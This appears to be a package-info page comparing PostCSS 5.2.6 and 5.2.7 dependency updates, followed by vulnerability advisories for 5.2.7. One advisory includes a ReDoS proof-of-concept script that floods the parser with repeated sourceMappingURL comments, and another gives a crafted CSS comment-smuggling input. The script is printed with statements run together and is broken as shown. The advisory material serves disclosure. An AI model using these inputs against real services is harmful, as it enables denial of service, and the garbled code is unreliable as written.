PostCSS version 5.2.7 arrived on December 24, 2016, succeeding version 5.2.6 released on November 22, 2016. Both versions, described as tools for transforming styles with JS plugins, share core dependencies like 'chalk', 'js-base64', 'source-map', and 'supports-color'. Examining the 'devDependencies', we find subtle but potentially important updates for developers.
Notably, 'eslint' jumped from version 3.10.2 to 3.12.2, indicating improvements in JavaScript linting rules and potentially stricter code quality enforcement. 'gulp-sourcemaps' was bumped from 2.2.0 to 2.2.1, likely addressing minor bug fixes or performance tweaks in sourcemap generation. The 'pre-commit' hook also saw a version increase from 1.1.3 to 1.2.2, This means the new version has some new features/fixes regarding the pre-commit git hook functionality. The other packages has minor version upgrades that could include important bug fixes.
Developers should consider these updates when choosing a version. The newer 'eslint' offers enhanced linting capabilities, possibly identifying previously unnoticed code issues, which improves the overall code quality and reliability. Updated 'gulp-sourcemaps' ensures accurate debugging information throughout development. For projects relying heavily on code quality, adopting version 5.2.7 with its refined tooling stack could lead to a more robust and maintainable codebase. While seemingly incremental, these updates represent a commitment to continuous improvement, indirectly benefitting developers in the long run.
All the vulnerabilities related to the version 5.2.7 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.